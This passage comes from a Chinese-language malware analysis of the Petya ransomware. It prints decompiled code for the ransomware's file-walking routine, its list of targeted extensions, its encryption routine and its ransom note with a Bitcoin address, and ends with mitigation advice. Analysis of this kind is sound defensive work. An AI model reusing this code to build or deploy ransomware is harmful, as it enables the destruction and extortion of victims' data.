38      if ( Crypt_Gen_key((int)hcryptKey) ) // 生成密钥
39      {
40          Start_Encrypt_File((LPCWSTR)hcryptKey, 15, (int)hcryptKey); // 遍历硬盘并加密文件
41          create_readme_txt((LPCWSTR)hcryptKey); // 创建README.TXT
42          CryptDestroyKey(*((_DWORD *)hcryptKey + 5));
43      }
44      CryptReleaseContext(*((_DWORD *)hcryptKey + 2), 0);
45  LABEL_11:
46      LocalFree(hKey);
47      return 0;
48  }

```

Petya 遍历目录，如果目录是C:\Windows，则跳过，去加密其他文件，并对文件类型进行了监测，加密的文件类型有：

```

1  .3ds.7z.accdb.ai.aspx.aspx.avhd.back.bak.c.cfg.conf.cpp.cs.ct1.dbf.disk
    .djvu.doc.docx.dwg.eml.fdb.gz.h.hdd.kdbx.mail.mdb.msg.nrg.ora.ost.ova.
    ovf.pdf.php.pmf.ppt.pptx.pst.pvi.py.pyc.rar.rtf.sln.sql.tar.vbox.vbs.v
    cb.vdi.vfd.vmc.vmdk.vmsd.vmx.vsd.vsv.work.xls.xlsx.xvd.zip.

```

```

25         if ( !v4 || v4 == -1 )
26             break;
27     }
28     if ( wcsncmp(FindFileData.cFileName, L"..")
29         && wcsncmp(FindFileData.cFileName, L"..")
30         && PathCombineW(&FileName, pszDir, FindFileData.cFileName) )
31     {
32         if ( !(FindFileData.dwFileAttributes & 0x10) || FindFileData.dwFileAttributes & 0x400 )
33         {
34             ext = (struct _WIN32_FIND_DATAW *)PathFindExtensionW(FindFileData.cFileName);
35             if ( (WCHAR *)ext != &FindFileData.cFileName[wcslen(FindFileData.cFileName)] )
36             {
37                 wprintfW(&v10, L"%ws.", ext);
38                 if ( StrStrIW( // 加密的文件类型
39                     L".3ds.7z.accdb.ai.asp.aspx.avhd.back.bak.c.cfg.conf.cpp.cs.ctl.dbf.disk.djvu.d
40                     "gz.h.hdd.kdbx.mail.mdb.msg.nrg.ora.ost.ova.ovf.pdf.php.pmf.ppt.pptx.pst.pvi.p
41                     "ql.tar.vbox.vbs.vcb.vdi.vfd.vmc.vmdk.vmsd.vmx.vsd.vsv.work.xls.xlsx.xvd.zip.
42                     &v10) )
43                 {
44                     Crypt_File_EncryptFile(&FileName, hcryptKey);
45                 }
46             }
47         }
48         else if ( !StrStrIW(L"C:\\Windows;", &FileName) )
49         {
50             Start_Encrypt_File(&FileName, a2 - 1, hcryptKey);
51         }

```

00000DED Start_Encrypt_File:25

在找到符合条件的文件后，对其进行加密

```

11 BOOL Final; // [sp+24h] [bp-4h]@2
12
13 result = CreateFileW(hFileData, 0xC0000000, 0, 0, 3u, 0, 0);
14 hFile = result;
15 v8 = result;
16 if ( result != (HANDLE)-1 )
17 {
18     GetFileSizeEx(result, &FileSize);
19     Final = 0;
20     if ( FileSize.QuadPart <= 0x100000 ) // 最大0x100000
21     {
22         hFileData = (LPCWSTR)FileSize.s.LowPart;
23         Final = 1;
24         size = 16 * ((FileSize.s.LowPart >> 4) + 1);
25     }
26     else
27     {
28         hFileData = (LPCWSTR)0x100000;
29         size = 0x100000;
30     }
31     hFileMappingObject = CreateFileMappingW(hFile, 0, 4u, 0, size, 0);
32     hObject = hFileMappingObject;
33     if ( hFileMappingObject )
34     {
35         MapViewOfFileObject = MapViewOfFile(hFileMappingObject, 6u, 0, 0, (SIZE_T)hFileData);
36         if ( MapViewOfFileObject )
37         {

```

000000C9A Crypt_File_EncryptFile:11

这里检查了文件的大小，加密的文件大小最大为0x100000 字节，超过的文件部分不对其进行加密，最后使用了CryptEncrypt 函数来加密文件。

接下来写入README.TXT，也就是在加密完成之后显示的勒索信息。

```

25     NumberOfBytesWritten = 0;
26     WriteFile(
27         hfile,
28         L"Ooops, your important files are encrypted.\r\n"
29         "\r\n"
30         "If you see this text, then your files are no longer accessible, because\r\n"
31         "they have been encrypted. Perhaps you are busy looking for a way to recover\r\n"
32         "your files, but don't waste your time. Nobody can recover your files without\r\n"
33         "our decryption service.\r\n"
34         "\r\n"
35         "We guarantee that you can recover all your files safely and easily.\r\n"
36         "All you need to do is submit the payment and purchase the decryption key.\r\n"
37         "\r\n"
38         "Please follow the instructions:\r\n"
39         "\r\n"
40         "1.\tSend $300 worth of Bitcoin to following address:\r\n"
41         "\r\n",
42         0x432u,
43         &NumberOfBytesWritten,
44         0);
45     WriteFile(hfile, L"1Mz7153HMuxXTuR2R1t78nGSdzaAtNbBWx\r\n\r\n", 0x4Cu, &NumberOfBytesWritten,
46     WriteFile(
47         hfile,
48         L"2.\tSend your Bitcoin wallet ID and personal installation key to e-mail ",
49         0x8Eu,
50         &NumberOfBytesWritten,
51         0);

```

000011D0 create_readme_txt:25

5. 总结

使用动态和静态分析的方法来分析该病毒的部分功能，功能有权限检查和提升, 设置定时关机任务，获取网络的ip，释放minikatz 和psexec 文件以及文件加密。

病毒危害巨大，一旦数据被加密，将无法恢复。

修复建议：

1. 跟新系统，将系统更新到最新版本
2. 修复永恒之蓝漏洞，或关闭139 端口
3. 关闭WMI 服务
4. 对重要的数据备份，并进行物理隔离
5. 将UAC 设置为最高等级